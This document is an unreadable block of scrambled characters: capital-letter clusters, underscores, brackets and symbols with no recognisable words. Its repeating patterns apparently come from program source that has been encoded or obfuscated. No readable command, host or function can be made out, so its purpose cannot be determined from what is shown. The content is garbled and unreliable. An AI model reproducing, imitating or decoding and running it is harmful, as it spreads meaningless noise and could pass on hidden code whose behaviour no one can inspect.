S_[OGOGVDuu__[	KMH	
____B__Duuu____W[ _CB_WMOFHOGOTHMVV_uuu[HJNLF__B_? L	WNNMJVW[OGOGVDu______uu____[	KMH	
__B____W L	WNNMMVW[HJNLFV____YY__ L	WNNOGVW[HJNLFV____BBB____[ _YY______IFMWNNMIVW[HJNLFV_BBB_ L	WNNMIVW[	OJ VVDu__u_[JMIHOF
N____B__LWNNMHVW L	WNNMGVV___@__? WLWNNMIVS_[OGOGV____E____Du__WLWNNMFVW[JMIHOF
NV_YY__[JMIHOF
N__^BB___]]V_[	KMH	
____B__W[JMIHOF
N__BBB____IFMWNNMIVW[	OJ VVDu__________uPP__uu__[N
G______B______?LWMMLVW[OGOGVDu__W[N
G__BBB_____[ V_____u______[GN
H__B__?LWNNMJVW[OGOGS_____S_
S__OS___WKOHJTMNVVDu__[ _B____? L	WNNMJVW[OGOGS_____S___
S__[ _R__WHOOLRMFOHVVDu_[	KMH	
__B_W L	WNNLOVW[GN
HV___YY__GKFWNNLOVW[ V__YY__[GN
H___BBB___IFMWNNNMVW[	OJ S__OS_WOKMTONVV__YY__[ __BBB__GKFWNNLNVW[	OJ S_[ _R_WMOFMTMOOKVVVDuuuu_u_uuuu__uuu_____W^[	KMH	
V_uKKGMM 

WIFMWNNMLVS_LWNNLMV__Q__GKFWNNOKVW[OGOGVVDuuuu_____W[
HM
IFOV__GGHKMOJLW[OGOGS____
VDu________WGKFWNNLLVW[
J
GVV___u__[FLL	_B_LWNNMHVW L	WNNLKVV_____@_? WGKFWNNMIVS___[OGOGV_E_Du______WLWNNLLVW[FLL	V__YY_[FLL	____^BB__]]_YY___[FLL	_^BB__ L	WNNMIVW[	OJ V__YY_[FLL	___^BB____LWNNMIVW[
J
GVV___uKKGMM 

W L	WNNMLVS___ L	WNNLJV_Q___LWNNLIVW[OGOGVVDu_
_Duuu_u___[KII
N_____B______ IIL
K NIOIW[HN
OS___GKFWNNOFVVDu_______W[KII
N_^BB___YY__?IFMWNNNJVW[KII
NS__[
J
GV____BBB____LWNNOGVW[
J
GVV_____u_________W^H	JO
 MW[KII
NS_[OGOGVV__u_W?LWNNOIVW[OGOGV__YY____^[LM  IV_____L 
	W[OGOGS_WNIFTMJNVVDu__W^[LM  I_____YY__
HIOW[KII
NS______[OGOGVV_uO
	LW[KII
NVDu____________u__?LWNNNJVW[OGOGS__[
J
GVDu___O
	LW[KII
NVDuu___uu____u_____W[KII
N_^BB_V______O
	LW[KII
NVDu____? L	WNNLHVW[OGOGS__[
J
GVDuu_u_G
GW[OGOGVDu________W^[KHOV_u__O
	LW[OGOGVDu_______u______
_Du__u________G
GW[OGOGVDuFKKKNLW[OGOGVDu_____L 
	W[OGOGS_WONIKTOKOVVDu_________W[
HM
IFOV___GGHKMOJLW[OGOGS__VDu______
____
Du_u_
___OO KW[OGOGS___[
I	
OLNVu_______uPU__R_UPuuu[MOO__B___]C@#]Du________W L	WNNLLVW[
I	
OLNV_YY_____[
I	
OLN____^BB___]]__YY__LWFHOVW[
I	
OLNS__GKFWMJFVV_^BB____YY______	JFO H
W[
I	
OLNVV__[MOO__B__[
I	
OLNDu__W?LWNNLGVW[OGOGVV___u_____[NLGL_B____?IFMWNNMJVW[OGOGVDuuuu_____W L	WNNLLVW[NLGLV__YY_ GH
JKHW[NLGLV___BBB____[MOOV____
Duuu_uuu_____W^
LKLJ	NW[OGOGS_[MOOVV_____u____[MKMKJ		______B___? L	WNNMJVW[OGOGVDu___W^WLWNNLFVW[MKMKJ		V__YY___ GH
JKHW[MKMKJ		V_BBB_[MOOVV_____?LWNNLHVW[OGOGS___[MOOVDu
W[MKMKJ		VDu__uG
GW[OGOGVDu_u____
_LIJ  	IOGWVuuu__WGKFWNNMHVWLWNNKOVV_____YY__	FHJM 
WVV____
_
Du_W^IFMWNNKNVWGKFWHGLVV________^ L	WNNKNVWGKFWFOLVVV______
__
Du[GNI_B_ 
WXPXVDu__[GNI_QB___WGKFWFHOVW[GNIS___X@XV_BBB_____@__X@X___E__XYXV_Q____GKFWNNKMV____Q___IFMWNNKLVWV__Q____GKFWNNKKVWWOLKTOLOVS_WONINTOMGIVVDu_______[MNKF
JHI____B_ L	WFOLVW[GNIS_WIFMWNNKJV_BA__WNFL!MONVS____LWNNKIV__BA_S__LWNNKHV_BA___MS__LWNNKGV______BA_WIFMWNNKFV___BA__LWNNJOVVVVDu____WLWNNJNVWLWLKMVV__YY___  W[MNKF
JHIVV____u____WIFMWNNJMVWLWHGHVVV____ L	WHGHVWNVDu___[MNKF
JHI____B______ L	WFOLVW[GNIS__W L	WNNJLV__BA______WJTLVS_____GKFWNNKIV_BA__S_LWNNKHV_BA_MS___ L	WNNKGV__BA___WLWNNKFV____BA___IFMWNNJOVVVVDuu___WLWNNJMVWLWNNJKVV____YY_  W[MNKF
JHIVV_
___Du__u_[NI_B__WV___  	  W[MNKF
JHIVD[	FOLHH
BKNLD[L
OBW[	FOLHH
AOV@[	FOLHH
ER[	FOLHH
Du__
___[NI__AB____WJTFJV____YY__[NI__C_WONOMTOMVDu____u
_K

NNNMW[I JF	LGS_____[GJFKIH Vu_u_[H IMIM__B__GKFWNOGGVWIFMWNNLIVW[GJFKIH VS___XPXVDuuu_______Wu______Wuuuu L	WNNJJV______Q__[H IMIM__Q_IFMWNNJIVSu__LWNNJHV__Q_[H IMIM____Q__ L	WNNJIVSu_IFMWNNJGV_Q__[H IMIM_Q___ L	WNNJFVSu_V____[	
JJu___V___u____W^GKFWNNLFVW[I JF	LGVV__Duuuu___[I JF	LG____B__ L	WFFOVW[	
JJS_____]#]S___[I JF	LGVDu_____uuuu
____[I JF	LGD[
NMBRHGOD[JMNLMNBW[
NMAOV@[
NMER[
NMDu_uuuu_____
____G
GW[GVuu_______WIFMWNNIOVW L	WMOOVVV___u__
___? 	W[GS__
V___^BB____Duu____[
HJ___B______LWNNIOVW L	WNNINVV__@___?  
WV_____E___Du_
___^WLWNOGJVW[
HJV__YY__^W[
HJ$GKFWNNIMV"VVDu__u
_LFMOHMH
FW[OGOGS____[ 
S_[ HKGGVu___u__WLWNNLNVW[OGOGS_RWGRKVV__BBB______IFMWFGGVV___u_____W^
LKLJ	NW[OGOGS_[ 
VV__u_KKGMM 

W[ HKGGS____IFMWNNILV_Q_LWNNLIVW[OGOGVVDu
_Du__uG
GW[OGOGVDu____
__IFMWNNOGVW[ 
VDuuuu____u[M GMNJI__B___?GKFWNOKVW[OGOGS_____GKFWNNIKVVDu____W[M GMNJI____BBB__V_u_____KKGMM 

W[ HKGGS_ L	WNNILV_____Q_ L	WNNIJVW[OGOGVVDu____
___D[JGBNFUID[KLNIF B[JGRLFDuu_____WLWNNIOVWGKFWNNIIVVV__?W[M GMNJIS_____30<4 :'VDuu_[MNKF
JHI_B___?IFMWNNIHVW[M GMNJIS___[ 
VDu________W L	WNNIOVWIFMWNNIIVVV__?W[M GMNJIS____30<4 *1VDu?W[M GMNJIVDu___W[MNKF
JHI__BBB_________W[ 
__^BB___]]___YY__[MNKF
JHI_^BB___LWNNOGVW[ 
VVV_u_KKGMM 

W[ HKGGS_IFMWNNILV_Q__ L	WNNIJVW[OGOGVVDuuuu__
_Du______u______
_[MNKF
JHIDu____uuu_u_______
___IMHKHFWVu__uPP_	_Ruu__u_________W^IFMWNNIOVWIFMWGHKVV__^IFMWNNIGVWIFMWNNIFVVV__uKLHKNIIGHW
VDu_
Du__uuu___W W L	WNNHOVVV_
Du_____W WGKFWNNHNVVV______
Du______ WGKFWNNHMVS_NS__WJLNTIFVVDu_KLHKNIIGHW
VDu____WGKFWNNIGVWIFMWGFOVVV__ WLWNNHMVVDu[	 F___B_LWNNIGVW L	WNNHLVV___@_WV____
M	FKL
L  W L	WNOHKVS_]]V__E___]]Du_W[	 F___^BB_]]___YY___LWNNHKVWLWNNHJVV__YY___
 W[	 FVV__u WIFMWNNHOVS___NS_WLGFNGRNHLNGVVDuuuu____u____W+__[NJN MV_uPP_?	_R
uu__KKGMM 

W L	WNNHIVS_[NJN MVDu_____W:_____[NJN MV__[	MGNOONBLLTFLD[FH B[	MGNOONRKHDu_u___uuuu_____
______KLHKNIIGHW[HG NJVuu_u________W^FHMJJFGIFKNWLWGONVVV__
Du_____u__________W^_ L	WNNHKVWLWNNHHVV______^_____ L	WNNHGVWGKFWNNHFVVV_u
Du____u__[JIKF___B__WV____
M	FKL
L  W L	WNOHKVS__]]VDu__W[JIKF____^BB__]]____YY____
 W[JIKFV____YY_____WV__
M	FKL
L  WGKFWNOHJVS_]]V_____^BB__]]V_u
Du__u_____W[JIKF__BBB__]]V_uPU___UPuuuuu__[MLFF
	HG___B__LWNNGOVW[HG NJV___@__[HG NJ_E____ LF
HJKWVDu__[JL
K _B____MJ 
I W[MLFF
	HGVDu______Wuu__[JL
K ___YY__^W[JL
K RA
 V__YY___W[JL
K RA
 VuuYY____[JL
K RA
 __BBB__[JL
K RA
 __Q______X?X_____Q___	OWIFMWNNGNVVu_V____u_____[JIKF____B_WV_[JL
K RA
 Du___u_____u_W[JIKF_^BB___]]__YY____
 W[JIKFVV___uuu_[FHKJN I_B_
 W[JIKFVDu______[	NGI	__B_KNIOHMONWWNIJ!NGFVVDuuuu______WGKFWNNGMVWIFMWNNGLVVV____u_ L	WNNGLVW[	NGI	S_[FHKJN IVDuuu___ MIMM	WLWNOHKVS_[JIKFS__LWNOGMVVD[
HF
KBLFUJD[HH
G
B[
HF
KRLFDu____ MIMM	WGKFWNOHJVS___[	NGI	S_LWNNGKVVDu___
Du_____u[
K___B__FMINWVDu_______W
V_u__[JIKF___B____]]Du___W[	
IO G_B_OD__[	
IO G__C_WFRKVD___[	
IO GTTV_u[IO_B__[
K$GKFWNNGJVW[
KV"_Q_KNIOHMONWWNLK!NKOVVDu____W^
 W[IOVV_____u_[JIKF__B___[IODu___DuPP_(/_/_=__uuu_____u____u________W[JIKF_BBB___]]V__uPU_	R__UPuu____KKGMM 

WGKFWNNGIVS___ L	WNNGHVVDu__
Duu___u[	NGI	__B___KNIOHMONWWKHRMLVVDu______W^____IFMWNNGGVWGKFWNNGFVV__YY___WLWFIIVV____YY__IFMWNNFOVW>=,/>+7_Q_IFMWNNFNVVV_____uPP_-____u[KOBKTMKD[GGFKB[KORLFDu_
 ____>=,/>+7______Q____LWNNFNVDu_______uuu_______[GOIN____B_[JIKF__Q___X?X__Q_	OWIFMWNNGNVVDu[
O	KL FO__B__Du__WGKFWNNGGVWGKFWNNGFVVV___uu[
O	KL FO___B____LWNNGFVWWuuuu___LWNNFMV___BA___[JIKFSuLWNNFLV___BA___[	NGI	Su____ L	WNNFKV_BA_[GOINSu____ L	WNNFJV____BA_ L	WNNFIVSu__IFMWNNFHV_BA__[JIKFSu_______VVDu__W  W[
O	KL FOVV____u_____KKGMM 

W L	WNNGIVS_[
O	KL FORA  WV___Q___XEX_Q__[
O	KL FORA  WVVDuu_[
O	KL FO_____B__Duuu__u_uu______W^[
O	KL FOV___uuuu_____[_B_W[830=>3,$ L	WNOLIV"V__@_[830=>3,$LWNOLIV"__E__
Du__W^[_____^GKFWNOHIVW[VV__u____KKGMM 

WIFMWNNGIVS__LWNNFGVVDu
Du_u___[IJJ_____B___IFMWNNGGVWIFMWNNFFVV__@____  W[	NGI	V_E____ L	WNNMIVW[	NGI	VDu___[N	GH
_B____ L	WNNGGVWLWNMOOVV___@_
 WGKFWNMONVV___E__WGKFWNMOMVVDu[OKGJMFI __B______[RAW[RA
S_Wu__LWNMOLV_BA___[JIKFSu___GKFWNNFLV_BA___[IJJSuuuu_LWNMOKV____BA____[JIKFSu__LWNNFKV__BA____[GOINSu L	WNMOJV___BA__[N	GH
Su____GKFWNMOIV__BA____OSuuuu______GKFWNNFHV__BA_[JIKFSuuuu__VS___WIFMWNMOHVS__ L	WNMOHVS__IFMWNMOHVS__GKFWNMOHVS__IFMWNMOHVS_ L	WNMOGVS______ L	WNMOHVVVDu___W^[OKGJMFI V___u_______KKGMM 

W L	WNNGIVS_IFMWNMOFVVDuuu_
Duuuu__u__[
O	KL FO__B__WV_[RA Du_[L___B______[RA_Q____LWNOLHVDu[RAW[RA
S__Wuu_______IFMWNMNOV___BA__[
O	KL FOSu___LWNMNNV____BA____[LSu__GKFWNMNMV_BA___GKFWLFIVWWLWNNFIV__BA_
VVSu_VS_WLWNMOGVS______ L	WNMOHVS_____LWNMOHVVVDuuu_[RAW[RA
S____Wu____IFMWNMNOV_BA_[
O	KL FOSuuuu_ L	WNMNLV____BA______[RA____Q__LWNMNKVSu______ L	WNMNMV__BA_XNOXSu__VS___W L	WNMOGVS___IFMWNMNJVS___GKFWNMNIVVVDu_____WGKFWNNGGVW L	WNMNHVVV_u_ 
 W[
O	KL FOVDu_____uu_u_____W^
 W[JIKFVV_u_____KKGMM 

W L	WNMNGVS_IFMWNMNFVVDuuu_
Duuuuu_[  IJL__B_____LWNMMOVWIFMWNMMNVV__@___ 
 WGKFWNMMMVS___[JIKFV__E_____Du_[	G	KKIMH______B__Du____W[  IJL__YY___^W[  IJLRA6;VV___uuu__WIFMWNMMOVWIFMWNMMLVVV___u[	G	KKIMH__B__WV__
 W[  IJLS__GKFWNNFIVVDu___WW[  IJLRAV___YY_ L	WNNGOVW[  IJLRAVV_u[	G	KKIMH_B_____^W[  IJLRA$IFMWNNFIV"VDu___u_uPP_(/_=_>/6_	LE__

uuu___W^[	G	KKIMHV_u_KKGMM 

WLWNMNGVS_____ L	WNMMKVVDu____W[
O	KL FOV_____u________W^ L	WNMMOVWIFMWNMMJVV____YY_WLWNMMIVV__YY_?LWNNFOVW>=,/>+7_Q____ L	WNMMHVVV_u____
 __>=,/>+7__Q___LWNMMHVDuuuu____u_______WIFMWNMMOVWGKFWNMMJVVV_____?  
W[
O	KL FOVDuu___
Du______u__ MIMM	WIFMWNOHKVS___[JIKFS__LWNMMGVVDu_ MIMM	W L	WNOHJVS___[	NGI	S___GKFWNMMGVVDu__________W+_[NJN MV__uPP__	
_R

uuuKKGMM 

WIFMWNMNGVS_[NJN MVDu________W:____[NJN MV_____u_______u_JLFMFWIFMWGONVVDu_uuu__
_____ 	OOKIL	W[I H	KVu__uuuu____uu______W^__IFMWNOHIVW[I H	KV____^__ W[I H	KS__ L	WNMMFVVV____uu___
_[I H	KDuuu___uuuuu_[JIKF__B__ L	WNMMOVW L	WNNHHVV____@___WV___
M	FKL
L  WLWNOHKVS___]]V___E_]]Du____W^__[JIKFV_uu_
______[I H	KDu_u__u_[JN
FO___B____ W[JIKFVDu______WGKFWNMLOVW[I H	KRA
 S__[JN
FOV_BBB_V_u_[I H	KRA
 __QB___ L	WNMLNV_Q__[JN
FO_Q__]X]Du______u_______W+____[NJN MV___u_KKGMM 

WLWNMLMVS__[NJN MVDu________W:____[NJN MV__uuuu_uuu_____
__[I H	KDu_______u_
____L	FINW[	
 Vuuuu___uPU__
R_UPuu____u____[	 F_B__LWNMMOVWLWNMLLVV__@_WV__
M	FKL
L  W L	WNMLKVS_]]V______E_]]Du______W^__[	 FV___uPP__uu
__[	
 Du____u____[FF____B___WLWNMLJVS_GKFWNNFIVVDu_________W[FF____[V___u______WW[	
 $["V_YY___GKFWNNLFVW[	
 $["V__YY____ L	WGOIVWLWNMLIVS___[	
 $["S___[	HNJFIFHVV__u[OMON
	_B__ L	WJLJVWOS___WV____[	HNJFIFH$N"__R__NVDu__uuuuu____[	
 $["_B______GKFWNMLHVWLWNMLGVS_XWX__Q__[OMON
	_Q___XVXS_[	
 $["VDuu_uuuu___u_____W+_[NJN MV_u__KKGMM 

W L	WNMLFVS_[NJN MVDu_______W:_[NJN MV_u__u__
____[	
 Du_____u
_____L MGMGKW[I
OK
S_[IOHIVu__[IFKJFBJLIND[MOKFB[IFKJFZNKDu___u_[JIKF_B___LWNMMOVWLWNMLLVV_@___WV_
M	FKL
L  W L	WNMKOVS_]]V____E___]]Du______W[JIKF____BBB__]]V____u___
_____[I
OK
Du__u______W^__GKFWNNGOVW[I
OK
VV_u____
_[I
OK
Du___u_____________W^__W[I
OK
$IFMWNMKNV"V______^__GKFWNNGOVW[I
OK
$GKFWNMKNV"VV_u__[I
OK
$ L	WNMKMV"____B__WVD[ MF
LNMBMHFD[FHBW[ MF
LNMAOV@[ MF
LNMER[ MF
LNMDuu_____W^___GKFWHFIVW[JIKFS_____[I
OK
$GKFWNMKMV"S_
VV____u_____[I
OK
$ L	WNMKMV"$"__B__[JIKFDuu______W+__[NJN MV_uKKGMM 

WLWNMKLVS____[NJN MVDuu________W:__[NJN MV______u__u_
__[I
OK
D[	 BJTMD[MH
B[	 RKHDuu______u
_JKGHKOOWVu_______uu___[ OIO___B___WVDu__uu_______WWLWGMGVV_YY_ L	WNMMOVW L	WNMLLVVV___uPP_2,.3_G_<+:E_
_Ruu____[N	LL__B____WV_____ WIFMWHHGVS______WVVDu_____[N_B___WVDu___W[N	LL____[V_u_____W^__IFMWNMKKVW[V_____ L	WNMLOVW[S___ L	WMKIVV__^BB__V__uuuu___
DuuPP___uu____[ I	__B___ L	WNMKJVW[VDu____W[ I	__BBB____XQXV__u___[ I	_B____[Du________u_________WW[N$[ I	"VV_uu
D[BLIUKD[NHMFOH
FB[RKGDu___uu_uuuu[N$[ I	"_B_____
Du[OGOG___B__(/ /3*861 ;6-___Q_XPX___Q_[Du_WGKFWNMKIVW[V_____BBB_XQXV___u__W?GKFWNNLGVW[OGOGVV__u_[ OIO$"__B_[OGOGDuuPP___uu_______uu[HN
O___B___IFMWNMKIVW[OGOGVDuu______W? L	WGHHVW[HN
OVV____u_[ OIO_____B_____GKFWNMKHVW[ OIOS_ NMMHIW[HN
OS____W L	WGKGVVVVDu__u_u_uuu___uPP__R__(/_9_3uuuuuu_________W? L	WGHHVW
 F	G	KOOWVVV__uPP_?

_uu______[L
MI__B____
MN
LHJH
W
 F	G	KOOWVVDuu______WIFMWNMKGVW[L
MIVV_uuu____W[L
MI_________[IOJV_u_________W[IOJ____BBB___GJL
GJ
FWVV_uu__
Duuu________u___[G__B___
 F	G	KOOWV_Q______XPX___Q___[IOJDu_____W? L	WNMKFVW[GV____YY__GKFWHHVWLWGMMVW[IOJS___WLWNMJOVVVV____BBB_GKFWNMJNVV_uu____[ OIO$"___B_[GDu___u_uuuuuu_____uuuu________WW L	WNMMIVV__YY___GKFWNMMOVWGKFWNMJMVVV_u[		OK__B_WV_ WGKFWNMJLVS______]]VDu__uu[_B__WV_ WGKFWNMJKVS_]]VDu_[	OK_B__W L	WNMJJVV___@_(/ <01+:1+ ;6-_Q__LWNMJIV____E_>=,/>+7_Q__GKFWNMJHVDu____[
HJLOH _B_____IFMWNMJGVWLWLHFVWW[		OKS__[VVVDu_________W[
HJLOH ______[MV_u__WIFMWNMJFVW[MS_ L	WNMIOVV__^BB__V____u_
Duu[LOJ_____B___[	OK____Q__XPX__Q_[MDu______W? L	WGHHVW[LOJVV_u____u__[ 	JK LIM_B__
MN
LHJH
W[LOJVDu______W L	WNMKGVW[ 	JK LIMVV_u___W[ 	JK LIM____[IOJV_u______[
OLF_____B__[LOJ_Q__XPX______Q__[IOJDu____W?GKFWNMKFVW[
OLFV_YY_IFMWHHVW L	WGMMVW[IOJS__WIFMWNMJOVVVV___BBB___ L	WNMJNVV___u___[ OIO$"_B_[
OLFDu__u____uuPP_(/_/_:__uu_u___[
HKLM_____B__[LOJ__Q__LWNMINVDu__W?IFMWNMIMVW[
HKLMVV_u____[ OIO__B__IFMWNMKHVW[ OIOS_____ NMMHIW[
HKLMS_WLWNMJNVVVVDuuuu______u______u_uuu_u____
_____GKFWNMJGVW[ OIOVDuuuu__
__OHIOMKOW[GOVu_u____W^ L	WNMILVW[GOVV_____
__WVDuuuu[	L ____B__WVDu______W[GO_____[MNKF
JHIV_u___W^LWNMKKVW[MNKF
JHIV____[MNKF
JHI_BBB____]]______LWNMIKVW[MNKF
JHIV_A___WKONFTHHVV__
Du___uPP_R__
uu_W? L	WGOIVW[MNKF
JHIS__]]V__BBB_____V__
Du_____W+___[NJN MV_u____
Duuuu____W:__[NJN MV___u___
Duu__[	L $"____B__[MNKF
JHIDuu_____uPP_(/_7_3E__Ruu___
_[	L Duu_u
_GLJ W[GOVu_u___u___u___WW[GOVV___uuu___
__D[J	
 BNHMJD[OKMB[J	
 ZMDu___uuu_[ OIO___B__JKGHKOOWVDuuuu_______WW[ OIOVV_____uPP__R__(/_/_+uu__
_____Du_u_____[	K
___B_Du______W[ OIO__[GV___u__u___W^_?IFMWNMKFVW[GV____^_____?LWGHGVW[GVV_u
Du__uu________W?IFMWMMLVW[GV____A___WJMKMMKTIKVV_u
Duuu____u[	OJ __B__?GKFWNNMJVW[GVDu____W^_[	OJ ____^_IFMWNMIJVW[	OJ VV_u
Du____uu____u_u___[IIM	FGL_B_Duuuu__W[GO___[ I J IV__u__uu___uuuu[NK
N__B____?IFMWNMLHVW[ I J IS_]]S___[	OJ VDu______W[NK
N___^BB__
____YY_____[NK
N___^BB_[	OJ V__u__[	OJ __B____[NK
ND[GFGKKBRFGID[	KBW[GFGKKAOV@[GFGKKER[GFGKKDu__[IIM	FGL_B_
Du___uPP_(/_IQI__E_
_	uu___________W+___[NJN MV_u___KKGMM 

W L	WNMIIVS_____[NJN MVDu
Du_________W:__[NJN MV__uPP_(/_1	_=__	uu__
Du___u__u__u____W[IIM	FGLV____u__W
LKLJ	NW[GS_[	OJ VV_____u[	K
___B__
Du__u__uu___u___u
__[	K
Duu___________W+_[NJN MV_uPU___UPuuKKGMM 

WGKFWNMIHVS_[NJN MVDuuu__W:_____[NJN MV__u___uPU_
_R_UPuu__
_Duuu______u___u_
______MF
W[HN
OS___[OJVuuuu________uuuu______[KMJK__B__WVDu___[OJ__B__[OJ___R__NDu________u____[J
M__B_?GKFWMJOVW[HN
OVD[
OIBMKUJD[F	LB[
OIRMKDu___W^__ L	WNMILVW[J
MVV_uuu
__[KMJKDu____u_____[J
M___B___LWNLKVW[J
MS__OS__WOFTONJGVVDuuu__u_____W[J
M___[IOJV___uuuuu_____W[IOJ_BBB___XQX_______[IOJ____BBB_IFMWNMIOVV____u___
Du______uuuu_[KNJ_B__[HN
O_Q__XPX______Q__[IOJDu________W^____?GKFWNMIMVW[KNJVV___u___
Du_u___u____W?IFMWNMIMVW[KNJ_____Q_IFMWNOJJVVV___uuuu_____[KMJK$"_B_ L	WIIGVW[KNJS____GKFWNMIGVVDu
Du_____u______uuuu____W[OJ___A___OV___uu______[KMJK___B___GKFWNMKHVW[KMJKS___MF
W[KNJS______[OJVVDu_______u___u_u______
_[KMJKDu___u_
____GKJJF	GWVu___u_[OI	JI___B__WVDuuu[GNJ____B__LWIIGVW>=,/>+7S_LWNMIGVVDu_____u___[

IJ__B____WVDu__W[GNJV_u[

IJ$"_B______IFMWNMKIVW[GNJVDu_____[

IJ$"_B_LWNMKIVW L	WNMKIVW[GNJVVDuuuu______[

IJ$"__B_LWNMIFVWIFMWNMIFVWLWNMIFVW[GNJVVVDuuuu_u_[

IJ$"___B_IFMWNMHOVDu_[

IJ$"__B___LWNMHNVDu_[

IJ$"__B_IFMWNMHMVDu[

IJ$"_B___GKFWNMHLVDu____[

IJ$"_B___GKFWNMHKVDu_______[

IJ$"___B_____GKFWNMHJVDuu[

IJ$"_B_IFMWNMHIVDuu______u__[F
INK ___B__LWNMMOVW L	WNMHHVV___@__WV___? L	WNMHGVWLWNMHFVV_E_]]Du______W[F
INK ____^BB_]]V_____u_[MNFLJO__B__W L	WNMGOVW[F
INK S___XDXV___^BB_V___@____XDX_E______XEXDu___W L	WMMOVW[MNFLJOS__[F
INK V___[LLMHNV___u_[LLMHN_B______IFMWNMGNVW[LLMHNVDu_W[LLMHN____^BB___]]V_u____[

IJ$"__B____[LLMHNDu______u_u_______u_u____[

IJ_B_IFMWNMGMVWGKFWLHFVW[

IJVVDu______[JJF______B__LWNMGLVW
VDuu_____[OI	JI___B_WVD[ FOIGBKOHND[OFNB[ FOIG!MMGDu______u___W[

IJ______[HN
OV____u__u_____W^__?IFMWNMIMVW[HN
OV___^_?GKFWGNNVW[HN
OVV__u___
Duuuu__WWIFMWNMGLVW
V_R_[JJFV____A_WONTOFVV___u_Du__u_uuuu_____[OI	JI_B__IFMWNMKHVW[OI	JIS____MF
W[HN
OS_MVVD[HOOFBWONTOHIVD[FNF	B[HOOFZNKDu__uuu_________W+___[NJN MV_u_KKGMM 

WIFMWFHIVS__[NJN MVDu_______W:__[NJN MV___[HGB/7/ 2>50- ):-,601D[  F B[HGULDuu___u__u__
_IFMWNFIVWLWNMGMVW[OI	JIVS____W[GNJVVDu__uu___u_
___	GLOFW[FJKVu____u______u[
H_B__W[FJK__Q____IFMWNMGKVS_[FJK___Q__GKFWNMGJVVDu_____W[
H____[HN
OV_u____W^____? L	WNMIMVW[HN
OVV_u____
Duu____[JMFJOJ___B__
MN
LHJH
W[HN
OVDu________W^ L	WNMILVW[JMFJOJVV____[KM
 LBWOMTOKVD[LB[KM
 LZFDu_
Du__u_______W[JMFJOJ______[NJN MV__u_______WGKFWNNLNVW[NJN MS____RWMTMVV_BBB_____IFMWFGGV____YY____F L	W[HN
O_____Q____XPX_Q__[NJN MS_WKFGJTNJVVV__uu___
_
Du_u__u__W[JMFJOJ_____[NJN MV__u__[ KJFN_____B___[HN
O___Q_XPX_Q__[NJN MDuuu____W^_? L	WNMGIVW[ KJFNVV__u___
Duu__u___[LKKFG	H_____B_
MN
LHJH
W[ KJFNVDu_______W^IFMWNMILVW[LKKFG	HVV_____u
Du___u________W[LKKFG	H___[MNHV___u_WGKFWNNLNVW[MNHS_RWONTOLVV__BBB_GKFWFGGV__YY__F L	W[ KJFN__Q___XPX_Q____[MNHS__WONOMTOLJVVV__uuuu_
_
Du__uu_u_uu______W+____[NJN MV_uPP_?_uu__KKGMM 

WIFMWNMGHVS____[NJN MVDu___W:______[NJN MV___uu_____u______
__Du___u__
_	JLLFWVuu_____u__WNLGIM	NJWNIFFOOL	OWVVV_
Du___uuu__W WIFMWNMGGVVV___u_
Duuu___u_uu____[OKN_____B_	MNMWVDu_______W^__[OKN__IFMWNMIKVW[OKNV__C__WFHKTMIVV__u___
Du__u______W^_	JFO H
W[OKNVV____uKKGMM 

WGKFWNMGFVS_IFMWGHLVVDu___
DuuPP_(/_/_+E__Ruuuu[OI	JI_B__GKJJF	GWVDuu______WW[OI	JIVV___u____W^ W L	WNMFOVVV__uu_KKGMM 

WIFMWNMGFVS____IFMWNMFNVVDu__ WLWNMFOVS____NS____WOOTOLHOVVDu_______u________ W L	WNMGGVS____NS__WNJHFJITNONMKKVVDu____
Duuu_____uu_[O
KLMN___B___ODu____W[OI	JI_______[FJKV___uuuu__uuuu___W	GLOFW[FJKVV__u
Du_u___u___[LKMK_____B__]]Du__[N	F__B____[FJK__Q_ L	WNMGKVDuu___W?IFMWGHIVW[N	FV_YY__^?IFMWNMGIVW[N	FVV__u___[N	F____B___
Duuu_______W^?GKFWNMGIVW[N	FVV_____uuuu_ NKKW[N	FS_WKLOTILVS__
VDuuuuu_____W[N	F__YY_W^?IFMWNMGIVW[N	FV________^?GKFWGHGVW[N	FVVV___u_______[N	F_B__
Du_______u___W[N	FV_uuuu[KFJG__B__[N	F_Q_____XPX_Q___GJL
GJ
FWVDuuu[H	JK___B_LN
JW[OKNVDu__[G	O
 J__B___LFMOHMH
FW[KFJGS__[H	JKS__ L	WNMGFVVDu____W[G	O
 J____YY___[G	O
 J__AB___GKFWNMIKVW[H	JKVV___uuu[LKMK___B__[KFJGDu___u_____u_______uu_______W^__[LKMKV___u_____[JF	J_B__LWGMMVWGJL
GJ
FWVS_/>+76190 963:1>2:VDu___[  
____B_[FJK____Q_IFMWNMFMV_Q_[JF	JDu____W^____?IFMWNMGIVW[  
VV__u_ NKKW[  
S_WKMITIHVS_____
VDu__u_______[KFJG___B__[  
_Q__XPX__Q__GJL
GJ
FWVDu____[H	JK____B___LN
JW[OKNVDu______[G	O
 J__B__LFMOHMH
FW[KFJGS___[H	JKS____LWNMGFVVDu___uu__________W[G	O
 J____YY_[G	O
 J__AB___ L	WNMIKVW[H	JKVV____u[LKMK__B_____[KFJGDuu[___B_____[JF	J__Q__XPX___Q____GJL
GJ
FWVDuuu__FOHGFG	KOMW[FJKS_____[VDu____u___u__W^_[LKMKV____u_
Du_uFKKKNLW[LKMKVDu__L 
	W[LKMKS___WOHNTOLVVDuuu__[O
KLMNTTDuuuuu________W[O
KLMN_A_OV__u__ WGKFWNMFLVS___NS_WOMFLTOKNVVDu___________u______ WIFMWNMFLVS__NS_____WJJGTLOKMVVDu___uu___________W+____[NJN MV____u__KKGMM 

W L	WNMGFVS___[NJN MVDu_____W:____[NJN MV__uu__u___
_FOHGFG	KOMW[FJKS__[Vuu_________uuuu_[FJ	J____B___[FJK____Q___LWNMFKVDu_____W^__?IFMWNMKFVW[FJ	JVV_u____[FJ	J__B____IFMWNMIFVW[FJKV____Q_GKFWNMFJVDu______W^___?IFMWNMKFVW[FJ	JVV___u____
Du____u____uuu_[MOO___B__? L	WNNMJVW[FJ	JVDu__W^_[MOOV____u___
Du__u_[M ______B__]]Du[_B_]]Duuu_________WIFMWGOIVWLWNMFIVS___[MOOS___[	HNJFIFHVV_[	GBNMJKGD[  N
 B[	G!JMDuu[M __B__[	HNJFIFH$N"Du_u_WLWGOIVW L	WNMFHVS___[MOOS___[	HNJFIFHVV__u____[___B_____[	HNJFIFH$N"Duu___W^_____[M ________^_[_______^_ L	WGOIVWLWNMFGVS____[VV____u__
Duu______uuu[_B____[830=>3,$ L	WNMFFV"Du________W^____LWNOHIVW[V___^__GKFWFFVW[S__GKFWNLOOVVV___u______
Duu_W^______IFMWNLONVWGKFWNLOMVS_____[M VV___u_KKGMM 

